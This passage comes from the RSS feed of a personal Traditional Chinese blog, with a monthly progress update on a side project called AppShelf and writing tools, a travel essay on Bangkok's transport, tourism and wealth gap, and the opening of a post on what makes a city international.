  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-april-dump/opening-stats.jpg"
      class="mx-auto my-0 rounded-md"
      alt="開幕當週的統計數據"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">在上線的 2 天內，有將近 200 人次的造訪，5 個人訂閱了電子報，算是比預期的成果來得好一點</figcaption>
</figure>
</p>
<p>雖然首發文章是<a href="/zh-tw/posts/bangkok/">曼谷</a>的心得，但是點閱率最高的反而是<a href="/zh-tw/posts/mscs-prediction-chatgpt/">教 ChatGPT 擲筊</a>，真是挺意外的 (?)，說不定身為在 NLP 實驗室<del>裝忙</del>研究了兩三年的我應該來寫幾篇科普文章。</p>
<p>另外我發現原來大家還是有在滑 Facebook 欸，我上一次發<em>有意義的</em>的文應該已經是高中之前的事了，但我每隔一陣子就會看到那篇開幕文又被人按讚，其中不泛一些我已經有點想不起來是在哪裡認識的人 XDDD</p>
<h3 id="-appshelf-的前端" class="relative group">✅ AppShelf 的前端 </h3>

<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  
    
    
      
      
      
      
      
      
        
        
      
      <figure>
        
    
        
          
    
    
    
    
    
      
      <picture  class="mx-auto my-0 rounded-md mx-1" >
        <img
          src="https://img.tomy.me/blog/2023-april-dump/appshelf.png"
          class="mx-auto my-0 rounded-md mx-1"
          alt="清爽的 App 列表截圖"
          loading="lazy" decoding="async"
        />
      </picture>
    
    
        
      </figure>
    

    
    
      
      
      
      
      
      
        
        
      
      <figure>
        
    
        
          
    
    
    
    
    
      
      <picture  class="mx-auto my-0 rounded-md mx-1" >
        <img
          src="https://img.tomy.me/blog/2023-april-dump/appshelf-footer.png"
          class="mx-auto my-0 rounded-md mx-1"
          alt="Built by Tomy Hsieh in Bangkok, Thailand"
          loading="lazy" decoding="async"
        />
      </picture>
    
    
        
      </figure>
    


</div>
<figcaption class="text-center">(左) AppShelf 的介面<br/>(右) 出門旅行寫 code 當然要留一下到此一遊 (?)</figcaption>

<p>這個算是進度大超前，撒花 <em>ଘ(੭</em>ˊᵕˋ)੭* ੈ✩‧₊˚</p>
<p>AppShelf 是我去年從歐洲交換回來的時候想到的小專案，一個用來存放不常用，但需要的時候可能不好找回來 App 的櫃子 XDD</p>
<p>原本的計畫是我先試一下 PicoCSS 有什麼可以用的材料，規劃好有哪些版面要拉，然後下個月再來正式大動工。撇掉一開始把 CSS import 進 Ruby on Rails 那邊卡一陣子，後來果斷放棄用 CDN 不說的話，後面相對就容易許多，然後就一鼓作氣把所有的版面全部都拉完了。</p>
<p>再加上我花了一個小時速成的 Logo，感覺這個 side project 的完成度快要超越我之前搞 5 年的 Tubee 了 (誒不是)。</p>
<p>有興趣的人可以點<a href="https://appshelf.tomy.tech/lists/644f44d1766d6b02089b521b" target="_blank" rel="noreferrer">這裡<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>看看 AppShelf 的介面，還有去曼谷玩的好用 App 清單。</p>
<p>之後有空再來寫 Ruby on Rails 和 PicoCSS 的心得文好了 😛</p>
<h3 id="-降低寫作摩擦力" class="relative group">⚠️ 降低寫作摩擦力 </h3><p>完成度&hellip;大概一半一半吧。</p>
<p>我用 Google 簡單 survey 了一下 <del>(好土哦現在誰還在用 Google)</del>，發現寫作環境很大程度會被發布的平台綁定，比方說目前看起來不錯的網頁編輯器就是 WordPress, Medium, Substack 這些大平台，到頭來當初選擇堅決自幹的我又被自己拿石頭砸了自己的腳 QQQQQ</p>
<p>有看到一個蠻有意思的選項是 <a href="https://ghost.org" target="_blank" rel="noreferrer">Ghost<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，跟 WordPress 功能很像，而且一樣是開源的，但是可能是因為是 JavaScript 寫的，所以看起來比較摩登。雖然同樣可以自架，但是感覺要魔改成當純 CMS 的平台的可行性不太高，暫時放棄。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-april-dump/markedit-screenshot.png"
      class="mx-auto my-0 rounded-md"
      alt="界面清爽的編輯器截圖"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">MarkEdit 編輯器截圖</figcaption>
</figure>
</p>
<p>最後決定，至少先遷離 VS Code，這個編輯器還是留著拿來寫 code 就好了，寫文章實在是有點痛苦。原本是計畫用 Typora，但是我最近看它有點不爽，再加上手邊不知道從哪裡冒出了 <a href="https://apps.apple.com/app/id1669953820" target="_blank" rel="noreferrer">MarkEdit<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 這個選項，十分接 macOS 的地氣，用起來很清爽舒服，所以就決定先棲息在這裡了 XDDD</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><p>下個月要開始上 CMU 的遠距先修課了，感覺時間不會太多，可能需要調整一下追蹤進度的方式，才有機會達標。</p>
<ol>
<li>既然部落格都已經正式上路了，當然就要來認真寫文章了，目前預計 5 月要發的文章：
<ul>
<li><a href="/zh-tw/posts/the-sense-of-internationalized-2/">怎樣叫國際化 Pt.2</a></li>
<li>AppShelf 介紹文</li>
<li><a href="/zh-tw/posts/saigon/">🇻🇳 西貢</a></li>
<li>MSCS 之前預測文的實驗結果</li>
<li>MSCS 申請心得文 (<a href="/zh-tw/posts/mscs-applying-reflection-i/">上篇</a>、<a href="/zh-tw/posts/mscs-applying-reflection-ii/">下篇</a>)</li>
<li><a href="/zh-tw/posts/ethical-travel/">The Ethical Traveler 的閱讀心得</a></li>
<li>_____開箱文</li>
</ul>
</li>
<li>把 Side Project 的網站整理更新一下，準備年底用來投實習</li>
<li>同樣為了投實習，應該差不多要開始刷題了，5月下半月回台灣 LeetCode 刷個 20 題應該不難 吧 嗎</li>
</ol>
<h2 id="-那些我在-reddit-上看到的酷酷貼文" class="relative group">👻 那些我在 Reddit 上看到的酷酷貼文 </h2><p>每月報報每次都不小心寫的好正經哦，不如最近滑 Reddit 看到好多好有趣的文，就來轉貼一些有趣的文緩和一下，順便增加點閱率吧 👍🏻 <del>(等等太隨便了吧</del></p>

<blockquote class="reddit-embed-bq">
<a href="https://www.reddit.com/r/Showerthoughts/comments/10ne3n3/people_who_wear_pyjamas_in_public_are_often/">People who wear pyjamas in public are often accused of giving up on life but maybe, in fact, they&#39;re actually living their best lives.</a><br> by
<a href="https://www.reddit.com/user/iklegemma/">u/iklegemma</a> in
<a href="https://www.reddit.com/r/Showerthoughts/">Showerthoughts</a>
</blockquote>
<script async src="https://embed.reddit.com/widgets.js" charset="UTF-8"></script>
<blockquote>
<p>大家常說那些穿著睡衣上街的人都放棄了人生。</p>
<p>但說不定，他們才是最享受人生的人呢：）</p>
</blockquote>
<p>歡迎大家來信推薦穿上街看起來還是很 swag 的睡衣給我哈哈哈哈</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2023-april-dump</guid><pubDate>Sat, 06 May 2023 17:52:34 +0700</pubDate></item><item><title>🇹🇭 曼谷</title><link>https://blog.tomy.me/zh-tw/posts/bangkok/</link><description>集摩登、混沌與佛教神秘力量的遠東遊樂場</description><content:encoded><![CDATA[<p>在今年碩班的各種雜事 <del>(a.k.a. 隕石)</del> 還沒砸下來之前，我趕快趁著還有空的時候，來曼谷和胡志明市 Workation 一個月。</p>
<p>至於為什麼會選曼谷，最大的原因是便宜：</p>
<blockquote class="twitter-tweet" data-dnt="true"><p lang="en" dir="ltr">If I was just out of school or university and wanting to bootstrap my own startup today, I&#39;d do the exact same thing I did 10 years ago:<br><br>✈️ Fly to Bangkok<br><br>Sleep for $5/night, eat for $3/day = spend ~$240/mo<br><br>$3,000 of savings will give you 1 year of runway <a href="https://t.co/2bFr1TAIfl">pic.twitter.com/2bFr1TAIfl</a></p>&mdash; @levelsio (@levelsio) <a href="https://twitter.com/levelsio/status/1634617450041057280?ref_src=twsrc%5Etfw">March 11, 2023</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>我在曼谷的日子，基本上每天一杯泰奶或果汁，路邊餐車賣的大概 25฿ (NT$23)，連鎖 ChaTraMue 的大概 45฿ (NT$41)。想不到吃什麼就吃 Pad Thai，最便宜的我吃過一盤 60฿ (NT$54) 還有附蝦子。</p>
<p>當然我沒有計畫 costdown 太多，畢竟還是在度假，有機會還是會適度揮霍一下。</p>
<p>總之，剛離開曼谷，就趁我記憶猶新的時候來寫一下我對<a href="https://zh.wikipedia.org/wiki/%E6%9B%BC%E8%B0%B7#%E6%81%AD%E8%B2%BC%E7%91%AA%E5%93%88%E7%B4%8D%E7%A9%BA%E7%9A%84%E8%A9%9E%E6%BA%90" target="_blank" rel="noreferrer">恭貼瑪哈納空<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，A.k.a.</p>
<blockquote>
<p>กรุงเทพมหานคร อมรรัตนโกสินทร์ มหินทรายุธยา มหาดิลกภพ นพรัตนราชธานีบูรีรมย์ อุดมราชนิเวศน์มหาสถาน อมรพิมานอวตารสถิต สักกะทัตติยวิษณุกรรมประสิทธิ์</p>
</blockquote>
<blockquote>
<p>帝釋天旨述、工巧天神築，天子御駐，極宮浮出，九玉樂都，宏偉盛處，金湯天固，玉佛永屬之天神京都</p>
</blockquote>
<p>這座城市的想法吧 XDDDD</p>
<h2 id="-天際線-建築" class="relative group">🏙️ 天際線、🏢 建築 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/bangkok/iconsiam-night-view.jpg"
      class="mx-auto my-0 rounded-md"
      alt="河邊夜景"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">從 <a href="https://goo.gl/maps/6anugWLBEzqwvY1d7" target="_blank" rel="noreferrer">ICONSIAM<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 可以看到漂亮的昭披耶河夜景，可惜 iPhone 的夜拍正常無法發揮：）</figcaption>
</figure>
</p>
<p>高樓林立、遼闊的天際線是我對曼谷的第一印象。</p>
<p>特別是搭 ARL 從機場進市區，還有隔天搭 BTS 到 Siam 的百貨區，這一段路上的風景給人感覺曼谷是一座現代的大都會，大樓的高度很高，但不至於密集到有壓迫感，建築設計上也各有巧思，不單單只是工整的形狀，所以整體的景觀是舒服的，我個人認為比台北好看很多。</p>
<p>另外一個特色是 BTS 空鐵站普遍建在 3 樓，2 樓會留給行人空橋，然後直接接入旁邊的大樓或是百貨，所以雖然市中心的交通普遍還是偏亂，但是對大部分的民眾和觀光客來說，他們不需要在一樓跟車子搏鬥。</p>
<p>另一個好處就是，很適合在上面看曼谷市區的風景。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/bangkok/ratchadamri-road.jpg"
      class="mx-auto my-0 rounded-md"
      alt="曼谷市景"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">白天從 BTS 下的空橋拍攝 Ratchadamri 大道</figcaption>
</figure>
</p>
<p>不同於其他國家的百貨把精品、化妝品等較高價的商品設在 1 樓，因為大部分的顧客都是從 2 樓的空橋進入，所以這邊反而 2 樓配置更高價的商品，而 1 樓則是會有其他的用途，比方說超市或美食街。比較奇怪的是雖然百貨有很多樓層，但 4、5 樓以上的空間使用效率普遍不佳，看起來多半很荒涼，不確定是不是還沒完全從疫情恢復的原因。</p>
<h2 id="-交通" class="relative group">🚦 交通 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/bangkok/old-bangkok-bus.jpg"
      class="mx-auto my-0 rounded-md"
      alt="老舊的公車"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">曼谷的舊公車，推薦所有人都應該體驗一下</figcaption>
</figure>
</p>
<p>泰國的交通<a href="https://bkk.com.tw/bangkok-traffic-collection/" target="_blank" rel="noreferrer">十分多元<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，甚至是到了有點令人眼花瞭亂的地步。在這邊我幫大家整理一個快速指南：</p>
<ul>
<li>短程：搭公車 or 走路
<ul>
<li>先用 Google Maps 查路線</li>
<li>然後用 <a href="https://apps.apple.com/app/id1074208600" target="_blank" rel="noreferrer">ViaBus<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 看公車到哪</li>
<li>分新車和舊車：新車有冷氣，搭起來跟其他已開發國家的公車差不多；舊車是開窗的，但是搭起來別有一番風味</li>
<li>在曼谷的路上散步，我覺得不算危險，畢竟當你可以享受這座城市的時候，為什麼要困在交通工具裡滑手機呢 <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></li>
</ul>
</li>
<li>中程：捷運 or 嘟嘟車
<ul>
<li>捷運優先，沒有到的話叫嘟嘟車</li>
<li>喊價用力喊就會知道到底底價在哪裡 (我曾經 120฿ 殺到 80฿)</li>
<li>或是用 <a href="https://apps.apple.com/app/id1410088538" target="_blank" rel="noreferrer">MuvMi<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 叫車</li>
</ul>
</li>
<li>長程：計程車，上車要講「by meter」，不時看一下手機地圖讓司機知道你不是吃素的，人懶的話就用 Grab</li>
</ul>
<p>總而言之，交通雖然複雜，但是選項多元、觀光客友善，我自己是沒有花太多時間就熟悉各種交通工具，而且英文都是通的。</p>
<h2 id="-觀光友善" class="relative group">🫱🏻‍🫲🏽 觀光友善 </h2><p>作為 Alpha 級的世界級城市，泰國和曼谷的觀光業十分發達，各項措施都對觀光客非常友善，外國遊客的背景也很多樣化。所以跟上面交通最後提到的一樣，英文不只在大部分交通工具都通，基本上觀光客有機會出現的地方都通。</p>
<p>這樣形容聽起來有點抽象，所以就來舉個例子：菜單。菜單基本上一定會有英文，而且翻譯會落在一個難易度適中的區間。就是他不會翻譯的太淺到你不知道那道菜到底是什麼，但又不會翻譯到太精準以致於你看不懂。</p>
<p>但就算你不會英文也沒關係，因為每一個品項都有圖片，就算是啞巴，用指指點點的一樣可以點餐。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/bangkok/english-menu.jpg"
      class="mx-auto my-0 rounded-md"
      alt="全英文的按摩會館目錄"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>另外一個神奇的特色是，在某些觀光客導向的店，比方說按摩會館、咖啡廳，菜單根本就是全英文的，反而沒有泰文。又或者是在 Phrom Phong, Thaniya 路這種日本人密度高的區域，也許你可以把日文拿出來烙個兩句。</p>
<p>也因為全世界的觀光客都會出沒在曼谷，這裡的飲食選擇非常多元，吃不慣泰式料理，日式韓式台式基本上都不難找，體驗其他異國料理也是不錯的選擇。</p>
<p>剛好上禮拜才寫到<a href="/zh-tw/posts/the-sense-of-internationalized/">國際化</a>，如果從這個角度來說的話，曼谷應該是各方面都大勝台北，如果你有能力日本自由行，那你就能曼谷自由行。</p>
<h2 id="-兩種價格兩種世界" class="relative group">🪙 兩種價格、兩種世界 </h2><p>接下來要來講一些比較沈重的部分。</p>
<p>在我待了差不多三天之後，我發現了一個現象。如果我某一餐吃的很在地，那價格會落在 100฿ 上下，但如果是上館子吃，價格就會直接上升到 300฿ 左右。</p>
<div class="chart">
  
  <canvas id="153784962"></canvas>
  <script type="text/javascript">
    window.addEventListener("DOMContentLoaded", (event) => {
      const ctx = document.getElementById("153784962");
      const chart = new Chart(ctx, {
         type: 'bar', data: { labels: ['< 100฿', '100฿ ~ 200฿', '> 200฿'], datasets: [{ label: '晚餐單價', data: [8, 3, 10], tension: 0.2 }] } 
      });
    });
  </script>
</div>

<figcaption>統計了一下我晚餐單價的分佈</figcaption>
<p>這中間的斷層，還有即便在最熱鬧的 Siam 商業區路邊也可以看到街友乞討，是一個很明顯的跡象：觀光客所在的曼谷，跟在地人所在的曼谷，是兩個不同的世界。甚至在網路上也有人分享，某一些餐廳會根據你是外國人還是本地人來給你不同的價格目錄。</p>
<p>這篇 <a href="https://www.quora.com/Why-is-everything-in-Thailand-so-cheap" target="_blank" rel="noreferrer">Quora<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 裡面有幾個泰國本地人來回答「為什麼泰國的物價這麼低」，很多答案還蠻有意思的，建議大家有空可以點進去看看。簡單來說有三個近因：</p>
<ul>
<li>貧富差距</li>
<li>產業未升級</li>
<li>觀光業過度興盛 (Overtourism)</li>
</ul>
<p>腦筋轉得快的人可能會發現，這不很明顯就是政府沒在運作嗎？Uhm&hellip; 這樣說沒錯，但政府其實也沒什麼機會好好運作，因為<a href="https://zh.wikipedia.org/wiki/%E6%B3%B0%E5%9C%8B%E6%94%BF%E8%AE%8A" target="_blank" rel="noreferrer">泰國一天到晚都在政變<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，但這就有點扯遠了。</p>
<p>總之，作為一個來這邊<del>拉一坨屎就走</del>的觀光客，我覺得我們都應該意識到，對我們來說，疫情是有一兩年不能出國玩，對另一些人來說，疫情是生活會越來越艱困。可以享受這麼便宜品質又不差的觀光體驗，很大程度上必須感謝有很多泰國人正活在水深火熱之中。</p>
<h2 id="-總結" class="relative group">🇹🇭 總結 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/bangkok/songkran-festival.jpg"
      class="mx-auto my-0 rounded-md"
      alt="潑水節"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">剛好我在泰國的期間有和潑水節重疊，玩的比我想像的還開心 😆😆😆</figcaption>
</figure>
</p>
<p>認真想了一下發現：如果你現在有一筆預算可以去墾丁玩，那改成來泰國玩潑水節，一樣可以玩到水，又不會多花太多錢，我可以保證，比墾丁好玩太多了。同理，如果你想去日本或韓國，但是機票太貴、住宿太貴下不了手，我一律推薦改來曼谷，一樣有唐吉軻德，<del>一樣有泡泡浴</del>。</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  
    
    
      
      
      
      
      
      
        
        
      
      <figure>
        
    
        
          
    
    
    
    
    
      
      <picture  class="mx-auto my-0 rounded-md mx-1" >
        <img
          src="https://img.tomy.me/blog/bangkok/night-in-bangkok-1.jpg"
          class="mx-auto my-0 rounded-md mx-1"
          alt="招牌林立的街頭夜景"
          loading="lazy" decoding="async"
        />
      </picture>
    
    
        
      </figure>
    

    
    
      
      
      
      
      
      
        
        
      
      <figure>
        
    
        
          
    
    
    
    
    
      
      <picture  class="mx-auto my-0 rounded-md mx-1" >
        <img
          src="https://img.tomy.me/blog/bangkok/night-in-bangkok-2.jpg"
          class="mx-auto my-0 rounded-md mx-1"
          alt="招牌林立的街頭夜景"
          loading="lazy" decoding="async"
        />
      </picture>
    
    
        
      </figure>
    


</div>
<figcaption class="text-center">之前看到<a href="https://www.reddit.com/r/digitalnomad/comments/12zxwwk/bangkok_overrated/" target="_blank" rel="noreferrer">這篇 Reddit<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>的時候有人提到一個我沒發現的點：如果仔細想一下，曼谷這種末日烏托邦主義的貧富差距，配上豐富糜爛 (?) 的夜生活、以及混沌的街頭，那不就是現實版的 Cyberpunk 了嗎 XDDDD</figcaption>

<p>總之就跟醉後大丈夫 2 裡面演的差不多 嗎 (?)，曼谷是個適合一群臭男生在大學畢業的時候一起來瘋的旅遊城市 😂，但即便不是這樣的設定，我相信也可以在曼谷玩的很愉快。</p>
<p>推薦給大家 👍🏻</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>去年交換的時候法國人教我的&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">bangkok</guid><pubDate>Mon, 01 May 2023 12:58:48 +0700</pubDate></item><item><title>怎樣叫國際化</title><link>https://blog.tomy.me/zh-tw/posts/the-sense-of-internationalized/</link><description>有麥當勞和 IKEA 能算國際麽？</description><content:encoded><![CDATA[<p>想寫這篇文章的原因來自於我去年造訪倫敦前看到的一支影片：</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube-nocookie.com/embed/Ze6qoxm6u-A?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<blockquote>
<p>你一定要試試倫敦的咖哩，這是英國最熱門的食物。</p>
<p>倫敦擁有全世界僅次於印度最棒的印度餐廳！</p>
</blockquote>
<p>才驚覺，對欸，我以前怎麼會沒想過，一個地方的食物到了新的地方，也會經過演化，成為一種全新的料理。就算是印度人來倫敦，應該也會對英國的印度餐廳躍躍欲試吧，就像我在法國也試了一些在法國的台灣料理。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/the-sense-of-internationalized/le-gout-de-taiwan.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Le goût de Taïwan 台灣味滷肉飯"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center"><a href="https://goo.gl/maps/U7GhCnNFLDZWv1rb6" target="_blank" rel="noreferrer">Le goût de Taïwan 台灣味<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>的滷肉飯</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/the-sense-of-internationalized/pineapple-cake.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Le goût de Taïwan 台灣味鳳梨酥"
      loading="lazy" decoding="async"
    />
  </picture>

